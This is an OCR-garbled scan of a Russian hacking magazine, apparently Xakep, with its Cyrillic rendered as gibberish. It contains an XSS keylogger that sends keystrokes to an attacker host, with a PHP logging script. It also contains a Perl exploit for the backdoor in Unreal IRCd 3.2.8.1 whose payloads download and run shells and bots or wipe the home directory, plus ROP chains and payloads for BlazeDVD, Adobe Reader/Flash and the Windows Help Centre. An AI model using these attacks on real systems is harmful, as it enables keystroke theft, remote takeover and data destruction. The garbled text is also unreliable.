Hbl, TAK KK 0CTalOTCH Ha CepBake, Ho 1 CO BTOPbIMM MOXKHO KOE-4TO CBasTh.
Y710 04eHb x0poLwo Ans Hac — XSS-ysi3BMMOCTY Ype3BblvaliHo pacnpocTpa-
HeHbl. 3TO CBA3aHO 1 CO CIIOXKHOCTSAMM 3aLLIMThI OT HUX, HO YTO BaxkHee — C
06LMM OTHOLLIEHMEM K HUM, flaxke y cnelymanucToB B 0bnactv MbB. Begb MHo-
rne He cymTaloT XSS 3a to3abenbHyto ya3suMocTs! [laBar nocmotpumM. Kak
HacyeT keitnorrepa Yepe3 XSS? [pUMUTUBHbIV Kelinorrep COCTOUT U3 ABYX
KOMMOHeHTOB: caMoro JavaScript'a, oTBeyatoLero 3a nepexsaT HaxaTuii 1
OTNPaBKY AaHHbIX 0 HWX, HY 1 CEpBepa, KOTopbIi ByaeT npuHMMaThL 1 coxpa-
HATb AaHHble. [ToToMy Ham TpebyeTcs nesbii (MoxHo becnnaTHblit) cepeak ¢

noagepxkoi, Hanpumep, PHP. JavaScript [kog cinsa info):

/

var keys='"'; //ompenenseM IepeMeHHYD
document . onkeypress = function(e) {

/ /TIepexBaThBaeM HakaTusda

get = window.event?event:e; //mepexBaTHBaeM COOHETHE
key = get.keyCode?get .keyCode:get.charCode;

/ /TIOJIyYEeHMEe KOIoa Ha DI KHOTIKM

key = String. fromCharCode (key); //mepeBom KOma B HOPM BUIL
keys+=key; //
}

window.setInterval (function () {

YKYEM Hc ATV B CTPOYKY

/ / OTIIpaBJIAEM OaHHBHE Yepe3 BPEMEHHBE ITPOMEXY TKU

new Image () .src = 'http://TBOM_x0CT:80/keylogger.
php?keys="'+keys; //mepemaemM maHHHE CKPUIITY

keys = ''; //cbpaceHBaeM IIepeMeHHY
}, 1000) ;

nobasnseTca K BBefeHHoMy 3anpocy «(vulnerability or vulnerabilities)
OR [exploits or security holes]», v B uTore Ham Hafo BBOAUTH TOSILKO
HassaHue [10.

Bepcus arperatopa, ncnonb3yemas YEHG, aBHo bonee npoasuHyTas,
yeM oT paspaboTyrka. TaM eCcTb U MHOFOCTPOYHOE OKOLLIKO AN 3ampoca,
¥ BO3MOXHOCTb peflakTupoBaHus ntorosoro 3anpoca. K Tomy xe no
OCHOBHbIM CaliTaM NMOUCK y>Xe 0praHn3oBaH. XoTs OHa U C «MyCOPOM»
(pedepsl Ha rpynnyl, yaanuTs ero He cocTasuT Tpyaa. B obwem, Ha
JUCKe NPUNOXeHa MMEHHO OHa.

Jlorvika TakoBa: CKpUNT NepexBaThiBAET HaXaTHs KNaBWLL 1 COXPAHAET X B
nepeMeHHyo, a Yepes onpefeneHHble MPOMeXyTKN BpeMeHN KOHHEKTUTCS K
Hawemy PHP-ckpunTy, nepefiaBas nonyyeHHyto nepeMeHHyto B 3anpoce.
[anee 3anuBaem Ha cepep PHP-ckpunT:

<?php
$log= $_SERVER["QUERY_STRING"]."\r\n";
/ /TIOJyYaeM HaHHBEe OT JS
Sfp=fopen ("log.txt", "a"); //co3maeMm d¢amin Ha XOCTUHTE
fputs ($fp, Slog); //3amonHseM ero
fclose (Sfp) ;

?>

B 3aBrcumocTy oT cuTyauuu, nvxaem nvbo cam kof, MMbo CChifiky Ha Hero
yepe3 XSS Ha cepBep UK Nonb3oBaTento. Tenepb BCe HAXATUSA KNaBuL
no/b30BaTeNs Ha CTPaHULE C HaLLUM SBacKpUNToM ByayT coxpaHeHbl Ha
Hallem cepBepe.

Ho 370 Bbin ckopee nokasaTeNbHbIi NpUMep.
KayecTBeHHbI iBACKPUNT-KENN0rTep Thl MOXELLb B3ATb C

source

net/projects/jskeylogger/ (nnbo Ha avcke). Bepcwa 1.4. CyTb 3pech Ta xe —
CKpUNT 1 cepBep. Ho peanv3auns ropasfo nyyile: Npyu COXpaHeHny nora
oTMeyYaeTcs nosie, B KOTOpoe BBOAMANCH JaHHbIe 1 yHKKanbHbI ID BBOsa
JaHHbIX, Tak 4TO C NapCUHIOM HeT BoobLie HUKakux npobnem. Heckonbko
CTPaHHO, 4TO CepBep 3AeChb peann3oBaH B BUAE exe’lWHKKa Ha nuToHe. Ho
neperoc Ha PHP, Hanpumep, npobnem Bbi3BaTh He gonxeH. B apxvBe Takxe
npunaraeTcs napa npuMMepoB, BCe 04eHb Noka3aTenbHo. OfuH cyLlecTBeH-
HbI MUHYC laHHOr0 IorTepa — HeT NoAAePXKKM pycckoro ai3bika. Ho ee, s
JyMato, HeTpYiHO By et NpuKpyTUTL. Micnonb3oBaHue keitnorrepa He Bceraa
BO3MOXHO W He Bcerfa onpasaaHo. Ho B onpeaeneHHbIx Cydasix Mbl MOXeM
nonyunTb bonbline bOHyChI, YeM, HaNpUMep, OT KNacCUYeckoit Kpaxi KyKu-
COB, Tak Kak AaHHble Mbl MoJly4aeM HeM3MeHeHHble, He3alndpoBaHHbie. Tak
YTO CTOMTb MOMHUTb O TaKOW LUTyKe.3C

jskeyloggerv1.4 B pabote: IP, yHukanbHbiit 1D, nMeHa noneit n nepexsayeHHbli BBOS, JaHHbIX

: 0.0.1
' 7885923368054427

username
| hello?

password
Pas$uwOrD?
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0630P 3KCNJIOUTOB

HecMotps Ha To, 4T0 BCe 6oblue K GosibLue pa3paboT4MKOB B Kypce npobnem

REVIEW

EXPLOITS
REVIEW

MHhOpMaLLMOHHOK Ge30MacHOCTH, yI3BUMOCTH HAXOAATCA BCE YaLLe 1 valLle.
3aT0 3KCN/IOWTbI CTAHOBATCA BCE CNIOXHEE U C0XHee. To ecTb, eC/IU paHblLe
LOCTaTOYHO ObLI0 NPOCTO HAUTH YAI3BUMOCTb, TO TENEpb eLLLe Hajl0 NOHATb, KaK

ee peasin30Bath B BUAE IKCIJIOUTA. Bp

eéMeHa MEHATCH. Tenepb 3T0 HE TOJIbKO

state-of-art, Ho Tak)Ke 1 6u3Hec, M KpMUHaN. Ho ¥ TaM M TaM No 06e CTOPOHbI
6appuKaz ecTb TaNaHT/MBbIE M YMHbIE JIOAH, Pe3yNbTaT padoTbl KOTOPbIX
NpeACTaBeH 3eCb, Ha 3TUX CTPaHULaX.

0 1 BbINOJIHEHUE MPOU3BOJIBHOI O
KOAAYEPE3 B3KJO0P BUNREALIRCD
CVE-2010-2075

e Unreal IRCDv.3.2.8.1

HayHeM cerofHAWwHWI 0630p c npobnemsl B n3sectHoM IRC-gemMoHe —
Unreal IRCD. [a, euwie He Tak gaBHo IRC 66110 AN Hac BCex BakHeNLWNM
kaHanom obuieHuns. B Te BpemeHa ele He cywecTBoBan H Facebook, Hu
Twitter, n nioan 0xoTHO 0bMeHMBanuch banTaMu B KoHcoNbHOM pexnme. C
TeX Mop yTeK0 He Tak MHOro BoAbl, U noaToMy IRC — no-npexHeMy nonHo-
LLeHHbI 1 NONYSPHbIA CepBUC.

N 1em obupaHee/secenee (HyxHoe nogyYepkHyTh), 4To Hekme 3104en,
BuAnMo, paHaTel WEB 2.0, >xenatolyme 3axBatntb Myp, BHeAPUAN B3KA0P
(BackDoor — uepHbiii Bxop) B McxofiHble kofsl anctpubytrsa Unreal IRCD.
«3aTposHeHHaa» Bepcus IRC-femMoHa nexana Ha 3epkafibHblx cepBepax
ax c Hoabps 2009 roga no MoHb HblHelwHero rofa. Hago nonaraTe, 4To

33 370 BpeMs MHOXECTBO A0DPbIX ¥ YECTHbIX JIIOAE yCrenv yCTaHoBUTb
narHoe [10. 97107 dakT bbin 06HapyKeH co3faTenaMm leMoHa, 0 YeM OHM
CO MHOXECTBOM VI3BUHEHW 1 JOHEC/IV [10 LUMPOKOI 0DLLIeCTBEHHOCTU.

LLnpokas obLecTBeHHOCTL Noxenana co3gaTb IKCMAONT, KOTOPbIN
ncnonbayet 6akpop B Unreal IRCD, ang cBonx KopbICTHbIX Lieneld. [laxe B
cocTtaB Metasploit'a fobaBunu cooTBETCTBYOLNI MOLYb.

[MocMoTpUM, 4TO XXe npescTaBnseT coboit aToT bakgop. Kak okasanocs,
caM baKaop — 3TO YeTbipe CTPOYUKM B UCXOLHbIX KOAAX, MEPBbLIM Le10M
6binn fobaBneHbl iBe CTPOUKM B MOAYNb S_bsc.c, B dyHKumio read_
packet(). 91a dyHkUMa ynTaeT u 0bpabaTsiBaeT BCe BXOAALLME NAKETHI.
CunTaHHble faHHble NoMelatoTcs B nepeMerHyto readbuf. Cpasy nocne
TOrO, KaK iaHHble bbINv CYNTaHbI U3 COKeTa, B €10 BCTYNatoT CUbI 3113, a
BepHee, iBe CTPOYKM, BHEAPEHHbIE B 3TY MUYIO QYHKLMIO 3N10YMbILLIEH-
HMKaMK:

#1fdef DEBUGMODE3
if (!memcmp (readbuf, DEBUGMODE3_INFO, 2))

» 042

DEBUG3_LOG (readbuf) ;
#endif

TyTnaet cpaBHeHMe NepBbIX ABYX DaT CUMTAHHbIX AaHHbIX C HEKMMU
ctatnyeckumu bantamu, onpegeneHrbiMu 3a DEBUGMODES_INFO (ecnn
onpepnened DEBUGMODES). Ecnv 6aiTsl coBnagatot, To Aanee cHuTaHHble
nanHble nepexonat 8 DEBUG3_LOGI(). Yo xe 370 33 onpenenerqua? A 3to
Ha caMoM fiefie Makpochl, obaBneHHble B daitn struct.h.

#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG)
#ifdef DEBUGMODE3
; ine DEBUGMODE3_INFO "AB"
fine DEBUG3_LOG (x) DEBUG3_DOLOG_SYSTEM (x)

#define DEBUG3_DOLOG_SYSTEM (x) system(x)

PestoMupyto yBraeHHOE: NPV CYUTBIBAHUM KaX0r0 BXOASLLErO NakeTa
63kpop cpaBHMBaeT NepBble ABa baiiTa faHHbIX C NOCNeA0BaTENbHOCTbIO
«AB». Ecnu coBnafeHune ecTb, To cofepXumoe laHHblX NepeaeTcs Bbi30-
By system(], To eCTb Ha MCTMONHEHVE B OMEPaLMOHKY.

3KCMNNOWT:

#!/usr/bin/perl

# Unreal3.2.8.1 Remote Downloader/Execute Trojan

# DO NOT DISTRIBUTE -PRIVATE

# -iHaqg (218)

use Socket;

use IO::Socket;

## Payload options

# PasnuuHBE «HATPY3KM». [0 CYTV KOMaHOE — DTO JIOOEE
# KoMaHIH O 0B6OJIOYKM unix/linux, HadYMHALIUECS C

<AB;>».

# IlepBEHE OBa 6alTa TapaHTUPYT, YTO O63KAOP HepenacT
# Bce B system(); - 94TOOH BHIIONTHMIIACH Oe3 IpobieMm
# ocTanpHAas YacTb IAHHBIX.

my Spayloadl = 'AB; cd /tmp; wget http://
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BlazeDVD. «06paboTunK» BocCTaHaBNMBaeT CTeK Ans pa6otbl ROP

packetstormsecurity.org/groups/synnergy/bindshell- } elsif (Stype eqg "2") {
unix -0 bindshell; chmod +x bindshell; ./bindshell &'; print $sockd "Spayload2";
my $Spayload2 = 'AB; cd /tmp; wget http://efnetbs.webs. } elsif (Stype eq "3") {
com/bot.txt -0 bot; chmod +x bot; ./bot &'; print Ssockd "$payload3";
my Spayload3 = 'AB; cd /tmp; wget http://efnetbs.webs. } elsif (Stype eq "4") {
com/r.txt -O rshell; chmod +x rshell; ./rshell &'; print Ssockd "$payload4";
my Spayload4 = 'AB; killall ircd'; } elsif (Stype eqg "5") {
my Spayload5 = 'AB; cd ~; /bin/rm -fr ~/*; /bin/rm -fr print $sockd "Spayload5";
w0 p } else {
printf "\nInvalid Option ...\n\n";
Shost = "n; usage () ;
$port = ""; }
Stype = ""; close ($sockd) ;
Shost = @ARGV[0] ; exit (1) ;
Sport = @GARGV[1]; }
Stype = @QARGV[2]; unreal_trojan() ;
# EOF
f (Shost eq "") { usage(); }
($port eq "*) { usage(); }
(stype eq "") { usage(); } [MpoBepuTb NCXOLHbIE KOAbI, M3 KOTOPbIX COBpaH eMOoH, Ha Hanu4ve
LeCTV TPOSIHCKMX CTPOK UK, 4To byaeT npotue, npoBeputs MD5-xew
sub usage { apxuBa. Y 3aTpOSiHEHOW BepCum xell JoskeH bbb 752e46f2d873c1679fa?
printf "\nUsage :\n"; 9de3fb2a274d, y HopmanbHolt Bepcun — 7b741e94e867c0a7370553fd015
printf "perl unrealpwn.pl <host> <port> <type>\n\n"; 06cb6. Ecnumuto He Tak — ynanuts cTpoku v nepecobpats IRC-gemMoH nnm
printf "Command list :\n"; cKayaTb C opuUManbHoro canTa (M onaTb-Taku NPOBEPUTL XeLL, Ha BCAKUIA
printf "[1] - Perl Bindshell\n"; noxapHsii).

printf "[2] - Perl Reverse Shell\n";

printf "[3] - Perl Bot\n";
T \n"; 0 2 NEPEMNONIHEHUE BY®EPA

printf "[4] - shutdown ircserver\n"; B BLAZEDVD PLAYER
printf "[5] - delete ircserver\n";
exit (1);
} N/A
sub unreal_trojan {
my $ircserv = Shost; ¢ BlazeDVD Player 5.1
my Sircport = $port;
BRIEF ]
# VHUIUMDYEM COenuHEeHUe 06 yA3BMMOCTH B 3TOM Njleepe M3BECTHO y>Ke L0CTAaTOUHO laBHO, TeM He
my $sockd = IO::Socket::INET->new (PeerAddr => MeHee 51 Obl XoTen 0bpaTUTb BHUMaHMe Ha CBEXWIA 3KCMI0NT NOA AaHHYI0
$ircserv, PeerPort => $ircport, Proto => "tcp") || die ys3BUMOCTb. [leno B TOM, 4To skcnnoiT pabotaeT B cpege Windows 7, a
"Failed to connect to $ircserv on $ircport ...\n\n"; 3HauuT, ymeeT 0bxoanTe DEP n ASLR. ABTop akcnnoiTa — bar-xaHTep,
print "[+] Payload sent ...\n"; n3BecTHbIV B CeTn nog HMKoM mr_me, B feBudyectse — Ctueer Cu-
nen (Steven Seeley). MapeHb 3T0T pa3BieKaeTcs TeM, YTO ULLET Abipbl B
# OTCHIJIKa 3JIOTO KOHTEHTAa pa3nuyHoM M0 1 nuweT agekBaTHble, paboyne IKCNAONTHI, 3@ H4TO YeCTb
(Stype eq "1") { eMy 1 xBana [6norTOBapMLu,a — https://net-ninja.net). Xouy otMeTuThb,
print $sockd "$payloadl"; 4TO cOCTOUT OH B KoMaHe Corelan Security Team, co3gaTenb KOTOPOA,
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Acrobat Reader. 3kcnnoit cpa6oran kak yacbl. SWF-dpaiin BHyTpu PDF

corelanc0d3r, BbinycTvn HefasHo cBoit 10-11 TyTopran o TOM, Kak nucaTb
COBPeMEeHHble 3KCMOWTbI, UCMONb3YSA TEXHWKY BO3BPATHO-0PUEHTY-
POBAHHOro NporpaMMrpoBaHns. HeyanBUTENbHO, YTO M 3TOT SKCMIONT
OCHOBaH Ha Tol Xe naee.

[aHHbIN 3KCnNonT co3faeT dain nnennucta cst-blazedvd.plf, npu ot-
KpbITMK KoToporo ¢ noMollbio BlazeDVD Player BbinonHUTCA GUPMEHHBI
Wwennkof — Bbi30B MessageBoxA ¢ coobLieHveM 0 TOM, UTO «xak» yaancs
). TpyaHocTu Takoro akcnnoTta B Windows 7 fiBe. Bo-nepsbix, namaTb,
riie TEXUT Y HAC LENNKOA (a IeXUT OH B CTeke) ABAETCA HeNCNOoNHAEMON,
Mo3TOMY LLEKO He UMeeT HUKaKoro MopasibHOro NpaBa BbIMONHNUTLCS.
Bropasi npobnema — agpec pyHkumn MessageBox Ham HensBecTeH, Tak
Kak Bce cucTeMHble bubnnotekn 8 Windows 7 nMetoT cnyyaliHblii CABUT
oTHocKTenbHoOro basoBoro agpeca. TaknmM obpasom, nocne nepexsata
ynpagneHus (a umeHHo — nepesanucy SEH B cTeke), akcnnonT gomkeH
KaKk-To caenath CTEK MCMOSHAEMbIM, HAaNpUMEP, C MOMOLLbIO BbI30Ba
byHkumm VirtualProtect, a elwe gonxeH kak-To onpefennTts agpeca
ncnonbsyembix dyHkumi (VirtualProtect/MessageBox). Ecnv ol uutan
npeablayle HoMepa, To B kypce, yto Takoe ROP, n c yem ero egat. Ecnn
HeT, TO HaNoOMHI0 — MocJle 3aBepLieHns paboTbl ya3BuMas GyHKLMs bepeT
13 cTeka nepenucaHHblil HaMu agpec Bo3epaTa. IT0T aapec ykasbiBaeT Ha
HEKWI y4acTOK MCMOSHAEMON NAaMATU C HEKMMU HY>KHBIMU MHCTPYKLUSAMY,
06bIYHO UX 0AHE-[BE WTYKW. 3TN HYyXKHble MHCTPYKLUMY B neane [OKHbI
3akaHuymBaTbes komaHgot RETN, koTopas bepeT cneaytolmii agpec n3
cTeka, KOTOpbIV TakXe BTUCHYT Tyfa npu nepenonxexunn bydepa. Taknum
BOT NyTeM BbIMONHAETCSA KOZ, Kak bbl 13 KYCOYKOB Hy>KOro KOAa. mr_me
npaBuAbHO 3aMeTWI1, 4To ecim bpaTb Takol kof U3 bubnvoTtek camoro nne-
epa, To gaxxe HecMoTps Ha Hanuune ASLR kof Bcerga bynet Haxogntbes
no ojHOMY 1 ToMy e agpecy. [leno B ToM, 4To nneep ckoMnuavposaH bes
noanepxkn ASLR, n nosTomy BCe ero Mofiynv Bcerfa rpy3stcsi no ogHoMy
M ToMy xe agpecy (co cnefyiowlero Homepa s yxe He byay nogpobHo pac-
nucbiBaTb ROP, nHaye Forb MeHs 3arpbi3eT 3a TpaTy LeHHoOR bymaru Ha
Takyto n3buTtyio Temy (M npasunbHo caenaet — npum. pen.)). Hetpusuans-
Holi bbina 1 3agaya 3actaBuTb 3ToT ROP paboTtaTh. Beab B UeM wtyka: Bo
BpeMs obpaboTkn SEH bnoka cTek cofepxuT nnib afpeca Ha obpaboTymk
n cnepyrowmii bnok. Bee octansHoe B cteke faneko ot ROP nporpaMmel.
Mr_me Hallen B CTaTUYHbIX MOAYNAX afipec CMeHbl 3HaYeHs BepPLUMHbI
cteka. Toraa npoueccop nepexoamnT no aToMy agpecy (aymas, 4to Tam
06paboTunk] 1 BbIMONHAET N3MEHEeHME yKazaTeNsd Ha BepLUMHY CTeKa:

0x616074AE :
0x616074B4 :

; POIl BocCcTaHOBIIEH, 6epeM anpec ¥ OBUTAEM IO LeIoYKe

ADD ESP, 408
RETN 4

Takum obpasom, ROP-nporpamma vcnonHsaeTcs gansiue, Tak kak RETN
4 BepeT U3 yxe U3MEHMBLUEroCs CTeka 3Ha4YeHUs, MOACYHYTbIe Mr_me.
Bonee nonpobHo o pabote ROP Moxelub npoynTaTh B MOei cTaThbe,

» 044
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BlazeDVD. Pe3ynbTaT OTKpbITUSA NNEAINUCTA

nocesiLeHHoi paspaboTke akcnoiTa (KOTOpbIN yxe ycnen cTaTs knac-
CUYECKNM... 4epT, ceba He MoXBauLb, HAKTO Xe...) C ucnonb3oBaHueM
BO3BPaTHO-OPVEHTUPOBaHHOro NporpammupoBaHuns. Bee. bonbuwe o ROP
He rosopto. Hy 1, KOHEYHO, 3KCMOWT C KOMMEHTAPUAMU LY Ha ANCKe.

Y10 flenaTb Nonb30BaTeNAM, NOHATHOE Aefo — 0bHOBKTL Nneep. A BoT
nporpamMmmncTamM Hafo 66l BbITb akKypaTHee. YyutbiBas TO, 4TO OT owmnbok
HUKTO He 3acTpaxoBaH, ocobeHHo He cTouT NnpeHebperaTs /dinamicbase /
GS-dnaramu npu komnunauuu. W ewe — B cesizke ¢ SehOP Bce 310 gobpo
NO3BOJIUT NepPeCcTPaxoBaTbCs U COXPAHWUTL YeCTb, Tak Kak Takol TaHaeM
npakTu4yecku He npobrBaem.

03

CVE-2010-1297

e Adobe Acrobat Reader < 9.4
e Adobe Flash Player < 10.1

B ouepepnHoii pa3 Mup nopaswna Oday-yrposa gns nobuteneil npogykumm
Adobe. Akypa peBatbcs? TemHas ctopoHa Cusibl HalLna yA3BMMOCTb B

OLUMBOYHASA OBPABOTKA
YKA3ATENABFLASHPLAYER

obpaboTtke banTkoga SWF Flash. Yo npumeyaTenbHo, akCcnNonT, pas-
paboTaHHbIN ToMO, Bbin 3aToueH v nog Acrobat Reader. @uya B ToM, 4T
YnTanka noffepX1BaeT BOCNpousBefderHune Gaell-aHnMaLUuy, a oTcloaa n
nocnefCTBYS — aTaka cpasy Ha ABa NpoAykTa. IKCMAONT 3ToT bbin paspe-
BepceH n fobasneH B Metasploit. Tak 4to fobpo noxanosaTe...

EXPLOIT

[MbiTasicb pa3obpaTtbes B ToM, 0TKyfla Npuluna npobnema, nccnefosatenu
0bpatnnun BHMMaHme Ha To, 4To SWF-daiin, KoTopblil ncnonsb3oBancs oas
9KCMNyaTaLMmn yA3BUMOCTH 1 3apaxkeHns befiHbIX l03epoB, bbin NpakTu-
yeckn npgeHTuder dpanny AES-PHP.swf, koTopbli ecTb B cBobogHOM A0-
ctyne 8 Cetn. CobcTBEHHO, 0TNMYMeE BbINO MWL B 0fHOM baliTe, @ UMEHHO
— B opurnHanbHoM daiine 6ainT-koa 0x66 (GetProperty) sameHeH Ha
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Acrobat Reader. Cogep)xuMoe heap-spray

Bant-kop 0x40 (newfunction). Ckopee Bcero, 0bHapyxuTb 3Ty yA3BUMOCTb
nomor daiinosbiit dpaszep.

Mepea TeMm, kak cpabotaeT SWF-datin, 8 PDF nponcxognt heap-spray ¢
nomoulbio JavaScript. B kyye co3faeTcs MHOXECTBO CTPaHUL, C LUENIKO-
[10M, HO He ToNbKo. [nga Toro, 4Tobbl 0boiTn 3awmTty DEP, B kyuy Tak xe
nrxekTntes ROP-nporpaMma, KoTopasi ¢ MOMOLLbIO CUCTEMHOTO BbI30Ba
C03/]a€T HOBbIN KYCOK MCMOHAEMOW NaMATV U KONWPYET TyAa LUeNKOA,.

Camoe nHTepecHoe — 370 kak ROP-nporpamMma v3 creHepupoBaHHOM Kyun

nonarna B cTek. YA3BMMOCTb (BCTaBka baiiT-koga newfunction) npusoanT K
BO3MOXHOCTU Nnepe3anucu ykasaTtens ECX 3Hauernnem 0x0COCOCOC, noc-
ne yero nponcxoamnt Bbi308 call [ecx+0c]. HayuyHo gokasaHo, 4to no aTomy
anpecy 0bbl4HO DbIBaOT faHHble 13 heap-spray. 3N10CTHbIN Xakep Tak
paccuuTan pasMep MHXeKTUpYyeMblx faHHbIX, 4To no agpecy 0x0COCOCOC
+0xC naxopwnTcs 3HaueHwne: 0x700156f. To ecTb pakTryecky NpoucxoanT

Bbi3oB call 0x700156f. 3toT agpec npunHagnexut BIB.dlL v cogepxut Takon

BOT KOA:

mov eax, [ecx+0x34]

; ECX Bce eme ykazsHBaeT Ha heap-spray (0x0C0C0COC)

1o ampecy 0x0CO0COCOC+0x34 nmexXnT 3HaYEHME
0x0cocococ

49TO M 3aHOCUTCA B EAX

push [ecx+0x24]
call [eax+8]

;110 agpecy 0x0C0C0CO0C+0x8 nmexuT 0x70048ef
0x70048ef — agpec 13 Toit e brbnuoTekn, N COAEPXKNT ClEAYIOLLNIA KO :

xchg eax, esp ; EAX=0x0C0CO0CO0C, Temneps u ESP TOXe

ret ; Clenyoliasi MHCTPY KIS

BoTTaknm 0bpa3oM ykasaTenb Ha cTek cTan ykasaTefeM Ha Kydy 13 heap-
spray. [lanee npuBeay cofepxkvMoe Ky4u ¢ nollaroBoii Hymepauunei
[eicTBuiA (BCe 3HaYeHMa paBHbl 4 6aiiTam, nepBoe 3HayeHue B kyye — Mo
appecy 0x0COCOCOC).

0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 /
pop esi / pop ebx / ret ; (mar 3)

Oxcccccecccec,

0x70048ef, # xchg eax,esp / ret ; (mar 2)

XAKEP 08 /139/ 10
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<---- 0x0C0COCOC+0x8 = EAX+8 Ha mare (1)
0x700156f, # mov eax, [ecx+0x34] / push [ecx+0x24] /
call [eax+8] ; (mar 1)
Oxcccccccec,
0x7009084, # ret (mar 4)
0x7009084, # ret (mar 5)
0x7009084, # ret (mar 6)
0x7009084, # ret (mar 7)
0x7009084, # ret (mar 8)
0x7009084, # ret (mar 9)
0x7009033, # ret 0x18 (mar 10)
0x7009084, # ret
0xc0c0cOc, # <--—-- 0x0CO0COCOC+0x34, ESP uHa mare (2)
0x7009084, #
0x7009084, #
0x7009084, #
0x7009084, #
0x7009084, # ret (mar 11)
0x7009084, # ret (mamnee oberaHH ROP)

Kak BUHO, TeXHVKY BO3BPATHO-0PUEHTMPOBAHHOIO MPOrpaMMmMpoBa-
HMS MOXHO MCnonb30BaTh 1 6e3 nHeTpykumin RETN. MoxHo BbibrpaTb
MHCTPyKuuu Ao nHcTpykuuu CALL nnn JMP, ecnu MoxHo KoHTponvpoBaTb
perncTpbi-ykasatenu.

Flash 10.1 He conep>XuUT 3TON yA3BMMOCTH, TAK YTO NaTY-MEHELXKMEHT —
nonesHoe geno. Kpome toro, bubnunoteka BIB.dLL, koTopas ucnonbsyercs
IKCMNOWNTOM, KaK LOHOP MHCTPYKUWMIA, nogaepxnsaeT ASLR, a nocemy
Bnagenbubl Windows 7 MoryT cnaTb CMOKOMHO — 3KCMI0MT He cpaboTaeT
Ha UX cucTeMax.

0 4 BbINOJIHEHUE MPOU3BOJIbBHOIO
KOAA BWINDOWS HELP CENTRE

CVE-2010-1885

TARGETS
eWindows XP

Kak n3BecTHo, CyllecTBYIOT pa3Hble B3TIsAbl Ha NOAUTUKY pa3rnalle-
HUA nHpopMauun 0b yassumoctu. focnoanH Tasuc Opmarau (Tavis
Ormandy), yxe He pa3s boiBaBLInii repoem pybprku, Hanpumep, npu-
Llep>X1BaeTCsa B3rn9/4a 0 NOJHOM pa3rialeHunu, ecaun paspaboTyunk He
NposiBUA AOJIKHOT0 pBEHUA K pa3paboTke natua. [lea Mmecsua Ha3ag oH
onybnvkosan Oday 8 JAVA Deployment Tool Kit, a B 3T0T pa3 3amMaxHyn-
cs Ha ceaToe — Ha Windows XP, BepHee, Ha ero noAcucTeMy NOMOLM.
OH nokasan Mupy, kak 1erko MoxeT DbiTb 3anyLleH nboit dpann B
cucTeMe, ,OCTATOYHO ML XepTBe NepeiTu Ha cneLmnanbHo chop-
MWPOBaHHYl0 cTpaHuuy. Tasuc coobuwmn Microsoft'y o npobnemax,

HO, N0 ero cnosam, be3 akcnnoiTa ero nocnanu noganswe. Cnycta
HecKoNbKo AHe TaBuUC chenan aKCNIONT, HO Takxke caenan v nybauny-
HbIi penn3 MHGopMaL MM 06 yA3BUMOCTH C TEXHUYECKUMM feTansiMu

1 npuMepoM 3KkcnioiTa. Bckope nocne storo TeMHas ctopora Cunbl
Had4ana MCMoNb30BaTh 3TOT 3KCMIOWT AN aTaku Ha NoNb30BaTeNe.

B ntore Microsoft Hanvcana rHeBHOe NMCbMO-CO0DLWEHME O TOM, YTO
Google — 370 3n0. «3, NnpuyeM TyT OHM?» — cnpocuwsb Thl. [la feno B
TOM, 4TO TaBUC ABNAETCS PabOTHMKOM UMEHHO 3TOW KOMNaHuu, rae
3aHMMaeTca pa3Horo pofa security-research’em. Ho Bot Google Tyt
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MomaTesccTopes nowcs: (2 peaynsTaTon)

o ol o g T
L Bl r (replace) B Mosasars ofiiira reboprames o cacTens

2, Ednc 5 (search)

i " o

Windows Help Center. 3kcnnoiT pa6oTaeT Yepes to6oii 6paysep.

2 cmicr: vpogesasanen of yoTasoonsieon ciopyacoaess

HU npn4yeM; no cnosam Taswuca, oH AenanBce 3TOT He3aBMCUMO OT pa-
60Thl, B CBOE CBO60,EI,HO€ BpeMa n pagu cobcTBEHHOTO YAOBONBCTBUA.

KoMbloHWTK Havana genutcs Ha ABa narepq. Jingep Immunity Hanucan

NMCbMO, 0 TOM, YTO T3BMC, KOHEYHO, NOCMELLWA, HO cnyckaTb cobak Ha
Hero He Hafo. Pa3paboTynku 1 Tak XUBYT B LLOKONafe — pecepyepsl

BecnnaTHo MUYT yA3BMMOCTH, COOBLLAIOT AeTann 1 KAYT... UHOTAa XAyT

rof, nHoraa 6onbwe. C fpyroii CTOPOHbI, Takol NOAX04 NAOANT 3apa3y
1 ObIN CpaBHeH OfHMM TOBapuLLeM ¢ knbepteppopuamom. Maa. EcTb
nTpeTba cTopoHa — NO MORE FREE BUGS. [ipyrumu cnosamu, ecnu
pa3paboTunky Hy>xxHa nHdopmaLmsa 0b ya3BUMOCTAX — NyCTb NNaTUT

1 NOTOM AenaerT, 4To xo4eT. HekoTopble pa3paboTynku yxe nownu no
TakoMmy nyTu...

LlenTp Momowm u Mopaepxkn — 370 M0 (helpctr.exe), kotopoe no ymon-
YaHWIo UMeeTcs B BUHAE, OHO MoxeT obpabateiBate URL Ha flokyMeHThI,
KOTOpbIE HaUMHAIOTCA CO cneumnanbHoro npedukca «hep://». Danee uget
npoBepKa, eCTb JIN [aHHbIN [OKYMEHT B CNCKe floBepeHHbIX. BoT, cobe-

TBEHHO, T3BMC 1 HaLLeN NyTb, KOTOPbIV N03BONIAET 0OMaHyTh 3Ty MPOBEPKY.

Bephee, oH Hawen XSS B TakoM LOKyMEHTE.

hcp://system/sysinfo/sysinfomain.htm?svr=<hl>test</
hil>

L[loKyMeHTbl 3T HaXoASATCS B NPUBUNETMPOBaHHON 30He, 1 T3BUC Hallen
NyTb MCMONHUTb MPOM3BONBHBIN KOJ: : <sCcript

defer>eval (unescape
('Run("calc.exe")'))</script>.0fgHako n3-3a punsrpa lE8

Tak Mofib30BaTeNd He B3/loMaTb. VM BOT TyT Hall XUTpeL, U3N0BYMNACH — OH
sBocnonb3osasnca Windows Media Player... [la, fa... 4eno B ToM, 410 3T0T
niaeep MOXeT JIerko Bbi3blBaTbCA U3 bpay3sepa, HanpuMep, C MOMOLLbIO ero

ActiveX.Y nneepa ecTb BO3MOXHOCTb XOAMTb 3@ BCAKMM AaHHbiMu no URL,

no3ToMy, NOAroTOBUB Hebonbluoit ASX-CKpWNT, MOXHO yKa3aTb nieepy,
4TO MOKa3blBaThb, U KyAa, CODCTBEHHO, eMy MATU:

<ASX VERSION="3.0">

<PARAM name="HTMLView"
value="http://ZLOI-URL/starthelp.html"/>

<ENTRY>

<REF href="http://ZLOI-URL/bug-vs-feature.jpg"/>

</ENTRY>

</ASX>
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3Toro 4oCTaTOYHO, 4TOOLI MPU OTKPLITVM NIEEPOM OH MOLLEN M0 3TUM
